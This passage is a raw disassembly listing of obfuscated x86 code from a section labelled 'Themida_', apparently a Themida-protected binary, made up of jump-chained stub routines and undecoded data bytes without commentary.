		dd 8924248Bh, 0E589242Ch, 0FFF9B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_617EB1:				; CODE XREF: Themida_:006156C8j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_616424
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFF7CDh, 66EE8146h, 0E9227108h, 22B0h
		dd 4EE81h, 34870000h, 3CE95C24h, 0BE000035h, 7DD41BD6h
		dd 6E9F789h, 58000026h,	815FFA01h, 4ECh, 241C8900h, 0FFA67BE9h
		dd 242489FFh, 4240483h,	195AE9h, 1C335A00h, 241C3124h
		dd 5C241C33h, 50241489h, 95DFE99Ch, 0EE21FFFFh,	17CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_617F25:				; CODE XREF: Themida_:0061A95Bj
		mov	edx, [esp]
		add	esp, 4
		shr	esi, 2
		shl	esi, 4
		sub	esi, 0A1AE4690h
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_616625
; ---------------------------------------------------------------------------
		dd 5A6F352Dh, 0E9F80151h, 0FFFFBA6Ah, 0E347C281h, 0C181B717h
		dd 6B5633E0h, 0E981D129h, 6B5633E0h, 240C875Ah,	8924248Bh
		dd 0B8502414h, 4F50610Bh, 0F9E9C289h, 9FFFFE1h,	0E98158C1h
		dd 53CB1FC2h, 0FAE9D9F7h, 83FFFF8Fh, 0F7E904ECh, 59FFFFE6h
		dd 3124B951h, 0CA310335h, 19D7E9h, 0E8B05000h, 0FFCEF4E9h
		dd 0C0C5FEFFh, 8EE906EDh
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_617FB3:				; CODE XREF: Themida_:00619321j
		mov	[esp], ecx
		mov	ecx, 2F5F70E3h
		jmp	loc_617156
; ---------------------------------------------------------------------------
		dd 0BB53CE01h, 7A345BE0h, 0FF8357E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_617FCD:				; CODE XREF: Themida_:0061049Aj
		pop	ebp
		jmp	loc_60F8CE
; ---------------------------------------------------------------------------
		db 1
aSa_0		db 'a',7,0
		align 2
		dw 34FFh
		dd 2434FF24h, 0FFE62FE9h, 55DE68FFh, 3C890000h,	3C8B5424h
		dd 4C48324h, 0A1685056h, 58089142h, 4E3ABD55h, 19E91D20h
		dd 89000033h, 0E9532424h, 0FFFFBFA3h, 70EB8159h, 4B7BBE20h
		dd 4ECEEB81h, 0DF014DDAh, 0F49E9h, 49685E00h, 8900000Dh
		dd 0B0E9240Ch, 5D000021h, 8B241C87h, 0B9E92424h, 8700003Bh
		dd 9BE9241Ch, 81FFFFBAh, 4C4h, 0FFC80100h, 83592434h, 19E904C4h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61805B:				; CODE XREF: Themida_:00613142j
		add	edx, edi
		pop	edi
		push	eax
		push	ecx
		mov	ecx, 24h
		mov	eax, ecx
		pop	ecx
		add	eax, edi
		add	[eax], edx
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4


loc_618074:				; CODE XREF: Themida_:00619024j
		push	7152h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_61362E
; ---------------------------------------------------------------------------
		dd 9E2AA12Dh, 0E689560Fh, 4C681h, 0EE830000h, 24348704h
		dd 0FFF2FEE9h, 0E9CD89FFh, 0FFFFB0E8h
; ---------------------------------------------------------------------------


loc_6180AC:				; CODE XREF: Themida_:0061466Aj
		xchg	esi, [esp]
		push	esi
		jmp	loc_611281
; ---------------------------------------------------------------------------


loc_6180B5:				; CODE XREF: Themida_:00615189j
		sub	edx, ebx
		pop	ebx
		jmp	loc_61B0B2
; ---------------------------------------------------------------------------
		db 51h,	81h, 0ECh
		dd 4, 88241489h, 5AF188C6h, 424448Ah, 0FFF80DE9h, 1C77FFFFh
		dd 0D259669Dh, 0E99C2414h, 0FFFF77EAh, 66C0B60Fh, 5124148Bh
		dd 240C8B54h, 845DE953h, 0C481FFFFh, 4,	2C581h,	0FF550000h
		dd 0FF042474h, 2C8B2434h, 1FADE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_618112:				; CODE XREF: Themida_:00612FBAj
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_613DB7
; ---------------------------------------------------------------------------
		dd 8B04C483h, 0C483240Ch, 51FA0104h, 1594E9h, 2314BD00h
		dd 0EDC13DF4h, 1E14E907h, 0D8280000h, 2B8A68h, 240C8900h
		dd 0B353CEB5h, 5BDD300Dh, 0C008EDC0h, 506606E5h, 0E528CAB4h
		dd 0E8005866h, 0E9FAE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618162:				; CODE XREF: Themida_:00617686j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_619B28
; ---------------------------------------------------------------------------


loc_61816F:				; CODE XREF: Themida_:0061BD5Cj
		xchg	esi, [esp]
		pop	esp


loc_618173:				; CODE XREF: Themida_:006145ECj
		push	184Ah
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_616841
; ---------------------------------------------------------------------------
		db 31h
		dd 8B5452D8h, 0C4832414h, 4C28104h, 50000000h, 4B8h, 58C22900h
		dd 31241433h, 9AE92414h, 8800002Eh, 865A66D0h, 6CE92404h
		dd 0B900002Ch, 1750793Ah, 66A4F181h, 0E9816A94h, 25CCD316h
		dd 0C8E9CA89h, 5CFFFFFDh, 0FFC2A2E9h, 24048BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_613077
; ---------------------------------------------------------------------------
		dd 53B95150h, 415DA270h, 7050E981h, 0C8895DA2h,	58C50159h
		dd 5C242C87h, 0FF76D5E9h, 0B4E955FFh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_6181FF:				; CODE XREF: Themida_:00613D75j
		add	ebp, 25C57284h
		jmp	loc_60F94E
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 586E1F9Bh, 0E8E9D7F7h, 0B2FFFF8Bh, 14F652D3h, 0F2805A24h
		dd 96E280B2h, 0E92CF280h, 32ACh, 0B8240489h, 754D5053h
		dd 62E9C501h, 81FFFFE7h, 0DE53A2C1h, 0D1F74101h, 4EDDBA52h
		dd 0D131B009h, 0FE53E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618252:				; CODE XREF: Themida_:00614B4Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_612612
; ---------------------------------------------------------------------------


loc_61827B:				; CODE XREF: Themida_:00612DEBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	small 2130h
		mov	[esp], cx
		jmp	loc_611C8E
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 243C8704h, 2404895Ch, 4B8h, 0E9C70100h, 0FFFF7CC3h
		dd 34FF0A89h, 0A2E95A24h, 0BDFFFF90h, 58C12CD1h, 14D6C581h
		dd 3FE9669Eh, 0C1FFFFD9h, 0AC3507E0h, 0E94B5049h, 0FFFF8622h
; ---------------------------------------------------------------------------


loc_6182D0:				; CODE XREF: Themida_:0061273Bj
		sub	esp, 4
		jmp	loc_610CE8
; ---------------------------------------------------------------------------


loc_6182D8:				; CODE XREF: Themida_:0061BBBDj
		xor	[esp+4], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_61585B
; ---------------------------------------------------------------------------


loc_6182F3:				; CODE XREF: Themida_:006152B9j
		pop	edx
		jmp	loc_615D7A
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0CEh
		dd 8137EF50h, 0ED6271C3h, 0CA67E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61830A:				; CODE XREF: Themida_:006169EDj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	7361h
		mov	[esp], eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		push	1E87h
		jmp	loc_61B4DF
; ---------------------------------------------------------------------------


loc_618331:				; CODE XREF: Themida_:0061A22Cj
		mov	ebx, [esp]
		jmp	loc_60F9D3
; ---------------------------------------------------------------------------
		db 5Fh,	52h, 0BAh
		dd 3B63181Fh, 0AA3E281h, 0EA810C46h, 84207FFh, 0FFEDE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_618351:				; CODE XREF: Themida_:006187E8j
		sub	eax, 0F7FEFAC0h
		push	eax
		pop	edi
		mov	eax, [esp]
		jmp	loc_614F12
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 40500h, 0A9680000h,	89000040h, 6850243Ch
		dd 536E782Bh, 0B743E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618382:				; CODE XREF: Themida_:0061549Aj
		mov	edi, 4939014Ch
		push	ebp
		mov	ebp, 20424C5Ah
		push	esi
		jmp	loc_61ACCA
; ---------------------------------------------------------------------------


loc_618393:				; CODE XREF: Themida_:00611DB5j
		add	esp, 4
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_61798B
		sub	esp, 4
		jmp	loc_6128A0
; ---------------------------------------------------------------------------
		db 5Ch,	55h, 0FFh
		dd 0E9042474h, 0FFFFE2DFh, 4EA81h, 14330000h, 24143124h
		dd 8B241433h, 14892424h, 4EC8124h, 89000000h, 34E9242Ch
		dd 81000031h, 4C1h, 3EE66800h, 1C890000h, 0B186E924h, 0C381FFFFh
		dd 406B46FFh, 0FF9F15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6183F5:				; CODE XREF: Themida_:006145E1j
		add	ebx, 611317C3h
		jmp	loc_618A02
; ---------------------------------------------------------------------------
		dd 0D3F7DF87h, 0E7C1DF87h, 37EF8104h, 4F34F910h, 0E37CF781h
		dd 0FA014897h, 3215E9h,	11456800h, 14890000h, 0EA11E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61842A:				; CODE XREF: Themida_:006116F6j
		shr	edx, 4
		not	edx
		shr	edx, 1
		xor	edx, 0E1CE5EEBh
		add	ebx, edx
		jmp	loc_61A840
; ---------------------------------------------------------------------------
aPs3		db 'P3,',0
		align 4
		dd 0BDE9575Ch
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61844B:				; CODE XREF: Themida_:006111B3j
		mov	ecx, 17F52BD9h
		neg	ecx
		neg	ecx
		add	ecx, 2F7F64F6h
		dec	ecx
		jmp	loc_61490F
; ---------------------------------------------------------------------------
aZIHcn		db '<$\$$hCn',0
		align 4
		dd 57240489h, 0F3599968h, 0C14F5F50h, 0CF8105EFh, 49DA6364h
		dd 0FBE8F781h, 2BE94BDFh, 5A000033h, 0FFDB14E9h, 0BF575FFFh
		dd 28AF2B02h, 5602E7C1h, 65F0B850h, 0E42D72DBh,	89D01EB9h
		dd 0F73158C6h, 5FFA015Eh, 31241433h, 14332414h,	0F4E95C24h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6184BF:				; CODE XREF: Themida_:00615896j
		pop	esp
		mov	ebx, [esp]
		jmp	loc_61B3C1
; ---------------------------------------------------------------------------
		dd 4C481h, 24E90000h, 50FFFF94h, 4B8h, 58C30100h, 2474FF53h
		dd 48F5B04h, 0C6A9E924h, 0E3C0FFFFh, 0F6D3F608h, 0B05066D3h
		dd 0E9C330D3h, 0FFFFECE0h, 5C0BCABAh, 0E1E2817Ah, 4A5E8D6Fh
		dd 0EA81EAD1h, 2D0605DDh, 0E95AD089h, 0FFFF99D9h, 0D434C0FEh
		dd 4EE9C0FEh, 81FFFF76h, 0A1A283C3h, 5BDF2968h,	8B243C87h
		dd 89662424h, 93E92404h, 0BEFFFF73h, 5CF52C29h,	16CEE9h
		dd 240C8B00h, 0E904C483h, 0FFFFFE87h, 0BBh, 5CC38100h
		dd 11DCC6Bh, 0DBF2E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618562:				; CODE XREF: Themida_:0061952Aj
		mov	[esp], ebp
		xor	dword ptr [esp], 1FD5365Dh
		pop	edx
		jmp	loc_616D19
; ---------------------------------------------------------------------------


loc_618572:				; CODE XREF: Themida_:00610632j
		sub	ebp, eax
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_61A4E5
; ---------------------------------------------------------------------------
		db 89h,	0D9h, 51h
		dd 83E9595Fh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61858B:				; CODE XREF: Themida_:0061A3ACj
		and	edx, 2AFF3BC8h
		push	ecx
		mov	ecx, 21CE4EACh
		inc	ecx
		inc	ecx
		jmp	loc_619E87
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4BA25BA9h, 4EC81h, 1C890000h, 8BBD5524h, 0E94A1C7Ah
		dd 2542h, 0E6F78166h, 0F929661Ch, 0B602E95Fh, 489FFFFh
		dd 38B824h, 0F8010000h,	8904EC83h, 75E9241Ch, 66FFFFFFh
		dd 0E924048Bh, 0FFFFF9A7h
; ---------------------------------------------------------------------------


loc_6185E4:				; CODE XREF: Themida_:0061762Cj
		pop	edi
		sub	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		jmp	loc_615DB4
; ---------------------------------------------------------------------------


loc_6185F0:				; CODE XREF: Themida_:0061B0BCj
		pop	esi
		mov	ebx, edx
		pop	edx
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	5B9Ah
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_610BE8
; ---------------------------------------------------------------------------


loc_618612:				; CODE XREF: Themida_:00611DF6j
		sub	ebp, 17FA22E1h
		jmp	loc_619A2A
; ---------------------------------------------------------------------------


loc_61861D:				; CODE XREF: Themida_:0061179Aj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, 34E51633h
		jmp	loc_61AE24
; ---------------------------------------------------------------------------
		dw 0DBEh
		dd 0E94D9820h, 0FFFF8238h, 79AE10BEh, 0E9F229F0h, 1C4Eh
		dd 0B9515D5Dh, 1EBB43A2h, 0E902E9C1h, 0F77h
; ---------------------------------------------------------------------------


loc_618658:				; CODE XREF: Themida_:0061A301j
		mov	esi, 137F1931h
		jmp	loc_61A516
; ---------------------------------------------------------------------------


loc_618662:				; CODE XREF: Themida_:00615D93j
		not	ebx
		not	ebx
		xor	ebx, 7A929615h
		sub	edx, ebx
		pop	ebx
		shl	edx, 8
		jmp	loc_619789
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 986E900h, 34FF0000h, 13E95824h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61868B:				; CODE XREF: Themida_:00613638j
		mov	[esp], ebp
		mov	ebp, 2CAC767Dh
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_617667
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFFCF4h, 0D22CE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6186C6:				; CODE XREF: Themida_:00614C6Aj
		add	edi, 0B21F699Eh
		jmp	loc_61900E
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0B8500000h, 6A806F9Ah, 906B0548h, 0C301957Fh
		dd 0FF8157E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6186ED:				; CODE XREF: Themida_:006178DDj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_617014
; ---------------------------------------------------------------------------
		dd 8702C783h, 665C243Ch, 5724048Bh, 0BB535F54h,	4, 0E2E9DF01h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61871F:				; CODE XREF: Themida_:006138DEj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_611380
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 17EE6824h, 0D2E90000h, 8BFFFFB2h, 0C483240Ch, 51B85004h
		dd 21481308h, 24048BC7h, 4C481h, 0AAE90000h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618757:				; CODE XREF: Themida_:006123BCj
		mov	eax, 4
		jmp	loc_61100B
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 5E08950h, 4,	8704C083h, 575C2404h, 672F91BFh, 0F7814F5Eh
		dd 21100F41h, 81DC781h,	0F781042Ah, 83A128EAh, 0FF7D6BE9h
		dd 53E089FFh, 0FFC537E9h, 5EF701FFh, 6BD7EF81h,	0C1E96504h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6187A7:				; CODE XREF: Themida_:00617365j
		mov	edx, ecx
		jmp	loc_616050
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 0E9D5F6D3h, 0FFFFC593h
; ---------------------------------------------------------------------------


loc_6187B8:				; CODE XREF: Themida_:006100DEj
		mov	esp, [esp]
		add	edx, 3F414FB5h
		jmp	loc_613FA0
; ---------------------------------------------------------------------------
		dw 335h
		dd 129BE20h, 0C38158C3h, 11A47B83h, 868C301h, 89000049h
		dd 0F1E92404h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6187E3:				; CODE XREF: Themida_:0061505Aj
		not	dword ptr [esp]
		pop	eax
		inc	eax
		jmp	loc_618351
; ---------------------------------------------------------------------------


loc_6187ED:				; CODE XREF: Themida_:0061B0B5j
		add	esp, 4
		push	edx
		jmp	loc_618FE2
; ---------------------------------------------------------------------------
aYbskk_pbs	db 'Yk_Pջ',0
		db 89h
		dd 0B95159CFh, 9AA74DAh, 0F759CF09h, 36EF81DFh,	0E9ABBD52h
		dd 393h
; ---------------------------------------------------------------------------


loc_61881C:				; CODE XREF: Themida_:006153D7j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_60FDC3
; ---------------------------------------------------------------------------


loc_61882A:				; CODE XREF: Themida_:0061A541j
		sub	ecx, 0FFFFFFFFh
		and	ecx, 686F0F0Eh
		inc	ecx
		dec	ecx
		not	ecx
		push	esi
		mov	esi, 0B7B9F3FBh
		jmp	loc_6108E7
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 5B2414F7h, 8E3C143h, 2F0F381h, 0D8018746h
		dd 1C47095Bh, 582434FFh, 0FFBC94E9h, 48B66FFh, 44556824h
		dd 34890000h, 8DFFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618876:				; CODE XREF: Themida_:006125BBj
		pop	eax
		jmp	loc_616C4F
; ---------------------------------------------------------------------------
		dd 5307E8C0h, 31E937B7h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618887:				; CODE XREF: Themida_:00612C2Aj
		pop	esi
		add	ebx, 8C1A7C51h
		jmp	loc_60FF38
; ---------------------------------------------------------------------------
		db 57h
		dd 6BE9E789h, 5C000002h, 0FF8033E9h, 0E90159FFh, 8E1C15Dh
		dd 0E904EC83h, 0FFFFCE82h, 5E3A68h, 16B4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6188BA:				; CODE XREF: Themida_:006108EDj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 38h
		add	edx, edi
		mov	[edx], al
		jmp	loc_610AD3
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 2C8904ECh, 52E58924h, 7A53BF57h, 0E95353E9h
		dd 0FFFFE5BBh
; ---------------------------------------------------------------------------


loc_6188F0:				; CODE XREF: Themida_:0061ABCFj
		pop	ebx
		or	eax, eax
		jz	loc_610BFD
		push	ebx
		jmp	loc_61356A
; ---------------------------------------------------------------------------
		db 30h
		dd 89ECE9D3h, 8B66FFFFh, 0EC832404h, 0A108E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618912:				; CODE XREF: Themida_:00615308j
		pop	ecx
		push	ebx
		jmp	loc_61068E
; ---------------------------------------------------------------------------
		db 29h,	0F9h, 0FFh
		dd 0E95F2434h, 0FFFF8DFFh, 5F8A68h, 240C8900h, 0FEB9h
		dd 1C4F2100h, 592434FFh, 0B6768h, 24148900h, 0E904EC83h
		dd 0FFFFCEC2h, 220812B8h, 58C1314Ah, 0FA5C181h,	0CB015F96h
		dd 0FB75E959h, 0E94AFFFFh, 0FFFF7562h, 83241C8Bh, 0EC8304C4h
		dd 241C8904h, 0C381E389h, 4, 4C381h, 1C870000h,	92E95C24h
		dd 0BAFFFFD6h, 3C860A44h, 815AD521h, 800004C5h,	81C181DFh
		dd 0E973F654h, 0FFFF7A5Ah, 24048B66h, 0FFF373E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6189A9:				; CODE XREF: Themida_:0060FC6Aj
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_60FBCB
; ---------------------------------------------------------------------------


loc_6189C2:				; CODE XREF: Themida_:006141E1j
		pop	ebp
		jmp	loc_61ABBB
; ---------------------------------------------------------------------------


loc_6189C8:				; CODE XREF: Themida_:0061B088j
		push	ebx
		push	61D711BFh
		pop	ebx
		shr	ebx, 1
		jmp	loc_618EA1
; ---------------------------------------------------------------------------


loc_6189D6:				; CODE XREF: Themida_:00610931j
		mov	esi, edx
		pop	edx
		jmp	loc_61BBC2
; ---------------------------------------------------------------------------
		dw 0EBE9h
		dd 89FFFF6Eh, 405E0h, 0B9510000h, 4, 8759C829h,	1FE92404h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6189FB:				; CODE XREF: Themida_:00613BE9j
		mov	ecx, ebp
		jmp	loc_611AD8
; ---------------------------------------------------------------------------


loc_618A02:				; CODE XREF: Themida_:006183FBj
		add	ebx, ecx
		jmp	loc_618BBE
; ---------------------------------------------------------------------------
		db 51h,	52h, 68h
		dd 7ADF1A2Ch, 0EA814A5Ah, 0A773C9h, 92ABC281h, 0D189B77Fh
		dd 0F181415Ah, 441B4AE7h, 0FFB35AE9h, 0DBF480FFh, 5358E288h
		dd 88D18851h, 0DD8859CBh, 24148B5Bh, 8004C483h,	0FAE946C5h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618A4B:				; CODE XREF: Themida_:00618FE7j
		add	edx, 0B001D3A3h
		jmp	loc_617E24
; ---------------------------------------------------------------------------
		dw 2668h
		dd 8900006Eh, 9C502414h, 0FFC943E9h, 32BF57FFh,	81514E12h
		dd 9C13EAC7h, 81D7F752h, 789CF4C7h, 5FF8211Fh, 3B1D1325h
		dd 21EC3555h, 8E686739h, 8900001Dh, 0D8BB241Ch,	21323716h
		dd 52E95BD8h, 8BFFFFA2h, 2C892424h, 0BD24h, 0DD290000h
		dd 0BBE9EB89h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618AAF:				; CODE XREF: Themida_:00613A08j
		pop	ebx
		add	ecx, ebx
		sub	ecx, 554861A3h
		mov	ebx, [esp]
		add	esp, 4
		neg	ecx
		push	ebx
		mov	ebx, 552D4F8Dh
		or	ebx, 161629D9h
		and	ebx, 24426AB0h
		dec	ebx
		add	ebx, 0AD7A2C06h
		sub	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ecx
		mov	esi, ebp
		pop	ebp
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_61901B
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 248B2434h, 6F97E924h, 0EC81FFFFh,	4, 53240C89h
		dd 4BBh, 1E5BE900h, 815A0000h, 4C2h, 4EA8100h, 0E9000000h
		dd 0FFFFA4F1h, 0B4E9CA89h, 8BFFFFB9h, 0C892424h, 6D90E924h
		dd 0E389FFFFh, 4C381h, 0C3830000h, 241C8704h, 8BE9015Ch
		dd 0C481242Ch, 4, 8702C183h, 665C240Ch,	2404AB0Fh, 6D64E99Ch
		dd 0D366FFFFh, 0E99C243Ch, 0FFFF6D5Ah, 146C7F2Dh, 546D2D0Ch
		dd 0BD556CD4h, 144C0742h, 8B5DE829h, 0A8E92434h, 54FFFF7Ah
		dd 4C7815Fh, 0E9000000h, 0FFFFBCE9h, 574BEF81h,	0EF81127Ch
		dd 6105462Eh, 1FE9C358h, 9FFFF6Dh, 0AB055FF8h, 166ED8Ch
		dd 0F613E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618BBE:				; CODE XREF: Themida_:00618A04j
		sub	ebx, 611317C3h
		jmp	loc_61235B
; ---------------------------------------------------------------------------


loc_618BC9:				; CODE XREF: Themida_:006102F9j
		add	edi, 390C4F4Eh
		jmp	loc_61741F
; ---------------------------------------------------------------------------
		dd 2E99C50h, 33000017h,	0F3E92404h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618BE3:				; CODE XREF: Themida_:00619B02j
		mov	esi, esp
		push	eax
		mov	eax, 567D6288h
		add	eax, 0B866DBB4h
		and	eax, 86717E3h
		shl	eax, 2
		sub	eax, 380C4A15h
		jmp	loc_614B4F
; ---------------------------------------------------------------------------


loc_618C02:				; CODE XREF: Themida_:00616E9Dj
		push	266Ch
		mov	[esp], eax
		jmp	loc_612677
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFF989E9h, 2474FFFFh, 48F5804h, 24248B24h, 24042966h
		dd 6CA4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618C2A:				; CODE XREF: Themida_:00613A33j
		shl	edi, 1
		shl	edi, 1
		or	edi, 76969E5h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_614299
; ---------------------------------------------------------------------------
		dd 0E904C283h, 0FFFFDE40h, 453E73BFh, 8FB95143h, 8172533Dh
		dd 686386C1h, 1C18349h,	0F0E95741h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_618C6F:				; CODE XREF: Themida_:0061262Aj
		mov	esp, [esp]
		push	0EE3h
		mov	[esp], edx
		push	ecx
		push	623D0E3Dh
		pop	ecx
		xor	ecx, 623D2E3Dh
		mov	edx, ecx
		pop	ecx
		and	eax, edx
		mov	edx, [esp]
		push	38A4h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_61446D
; ---------------------------------------------------------------------------
		db 4
		dd 5AA22CABh, 0B4505350h, 286FB7A1h, 0DFF658E7h, 0EF80DFF6h
		dd 5BF88842h, 17341104h, 0FF749BE9h, 0ED8166FFh, 8166F01Eh
		dd 664590C2h, 8166EA29h, 5D4590EAh, 0FFAED8E9h,	0C1B951FFh
		dd 179124Ah, 0F326E9CBh, 0BE56FFFFh, 2F2D6A77h,	0FFABB6E9h
		dd 2BFFFh, 0FA010000h, 81243C8Bh, 4C4h,	24148700h, 6624248Bh
		dd 8124048Bh, 4ECh, 24048900h, 480268h,	24248900h, 4BA52h
		dd 54010000h, 148B0424h, 4C48324h, 40558h, 0DD680000h
		dd 89000000h, 268243Ch,	8B000000h, 0C483243Ch, 4B782D04h
		dd 0F8012DB2h, 0B24B7805h, 4875F2Dh, 2455E924h,	8B540000h
		dd 89502414h, 405E0h, 0C0830000h, 24048704h, 6824248Bh
		dd 5B2Ah, 0B8240489h, 4, 34FFC201h, 0C4835824h,	97E95604h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_618D8F:				; CODE XREF: Themida_:00619355j
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_618EAC
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FF240C89h, 59042474h, 8B24048Fh,	0A0682424h
		dd 89000073h, 81532434h, 1BBE2404h, 815E1EF2h, 0F21BBEEEh
		dd 633F681Eh, 0BEE90000h, 50FFFF72h, 33B615B4h,	2015E9h
		dd 5BD90100h, 8B240C87h, 0D3662424h, 0E99C240Ch, 0FFFF6AE2h
		dd 0AB05C801h, 2D558168h, 0C856494h, 0CCC6E959h, 48FFFFFh
		dd 24048124h, 4, 0E9240C8Bh, 2910h, 0DEF65BB6h,	0FE1BC680h
		dd 0D668E9C6h, 5759FFFFh, 0A80FC6BFh, 47DFF70Ch, 0C781DFF7h
		dd 1F324CCEh, 0C15FF901h, 88E906E9h, 0CFFFF96h,	2CC8FE76h
		dd 830304BCh, 896602ECh, 90E9240Ch
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_618E4F:				; CODE XREF: Themida_:00617B17j
		and	eax, 93866CFh
		neg	eax
		sub	eax, 0C7844152h
		xor	ecx, eax
		pop	eax
		jmp	loc_6120EB
; ---------------------------------------------------------------------------
		db 53h
		dd 0C780D8B7h, 72BCE975h, 2C33FFFFh, 0A4DDE924h, 1968FFFFh
		dd 0E900000Ch, 0FFFFDDF7h, 349568h, 243C8900h, 2BFh, 5FFB0100h
		dd 0B1368h, 241C8900h, 42474FFh, 18ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_618EA1:				; CODE XREF: Themida_:006189D1j
		xor	ebx, 5D3614B2h
		jmp	loc_615554
; ---------------------------------------------------------------------------


loc_618EAC:				; CODE XREF: Themida_:00618D95j
		pop	esp
		shl	eax, cl
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
